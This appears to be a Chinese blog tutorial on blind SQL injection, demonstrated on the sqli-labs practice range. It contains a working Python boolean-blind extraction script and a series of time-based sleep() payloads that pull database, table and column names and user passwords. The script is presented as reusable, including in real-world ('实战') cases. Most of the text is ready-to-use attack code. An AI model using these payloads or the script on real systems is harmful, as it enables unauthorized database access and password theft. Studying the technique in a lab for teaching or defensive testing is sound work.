布尔盲注脚本+时间盲注

布尔盲注

布尔盲注使用场景常见于:

页面存在sql注入漏洞但是不会回显报错信息,会对输入内容的查询结果正确与否有不同的回显

这时就需要根据页面的回显结果判断输入的内容是否正确,这个过程手动操作太过麻烦,还容易出现纰漏,因此用脚本代替手动操作是很好的选择

下面是以sqli-labs靶场中的一些关卡环境进行布尔盲注的代码,根据实际情况替换语句即可

import requests
#url填入sql注入页面网址
url= 'http://127.0.0.1/sqli/Less-5/'

res =""

payload1 ="?id=1'and(ascii(substr((select(database())),{},1))>{})%23" #爆破库名
payload2 ="?id=1'and(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='security')),{},1))>{})%23"#爆破表名
payload3 ="?id=1'and(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_schema='security')and(table_name='users')),{},1))>{})%23" #爆破字段名
payload4 ="?id=1'and(ascii(substr((select(group_concat(password))from(security.users)),{},1))>{})%23"   #爆破字段数据
for i in range(1,1000):
    low = 32
    high = 128
    mid =(low + high) // 2
    while(low < high):
        #根据上面要执行的操作选择对应的payload
        #payload = payload1.format(i,mid)  
        #payload = payload2.format(i,mid)  
        payload = payload3.format(i,mid)  
        #payload = payload4.format(i,mid)

        new_url = url + payload
        r = requests.get(new_url)
        if "You are in..........." in r.text:
        #填入查询正确时的回显内容
            low = mid + 1
        else:
            high = mid
        mid = (low + high) //2
    if (mid == 32 or mid == 132):
        break
    res +=chr(mid)
    print(res)
print(res)

 代码中的查询语句用括号包围,避免了使用空格,可以预防空格被过滤的情况,实用性更强

 如果页面对于输入正确错误的回显结果不是有区分度的文字,而是图片之类的格式时,上面的代码就不适用,因为无法获取回显正确时的标志,这时可以利用sqlmap进行自动盲注

时间盲注

当sql注入页面不会回显报错信息,同时对于输入内容的查询结果只会回显一种情况,无法看出是正确还是错误时,就需要用到时间盲注,利用sleep()函数制造时间延迟,由回显时间来判断查询结果是否正确

判断库名长度

//判断库名长度
?id=1' and if(length(database())>8,1,sleep(3))%23

 如果if 条件正确,立即回显,条件错误延迟3秒回显

爆破库名

//爆破库名
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(3))%23

//判断数据库第一个字母的ascii码是否为115

爆破表名

//爆破表名
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit x,1),z,1))>100,1,sleep(3))%23

//x表示第x+1个表,后面的1表示截取一行,z表示substr()函数截取选中的表中第z个字母,后面的1表示只截取一个单位

 例如: 下面是sqli-labs靶场中的security数据库中的所有表名,以sqli-labs第9关环境演示:

重要的数据都在users表中,但是users表在第四行,所以需要把上面的x改为3  变成 limit 3,1


?id=1' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1)))<120,1,sleep(3))%23

实战情况下如果不知道这些信息,只能逐个查询爆破,得到所有表名,再选择其中一个重要的表

爆破字段名

//爆破字段名
?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit x,1),z,1)))>100,1,sleep(3))%23

//x表示表中第x+1列字段名   z:substr()函数截取的第x+1列的第z个字母   

?id=1' and if((ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1)))>100,1,sleep(3))%23

爆破字段数据

?id=1' and if((ascii(substr(( select password from security.users limit 0,1),1,1)))>100,1,sleep(3))%23

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值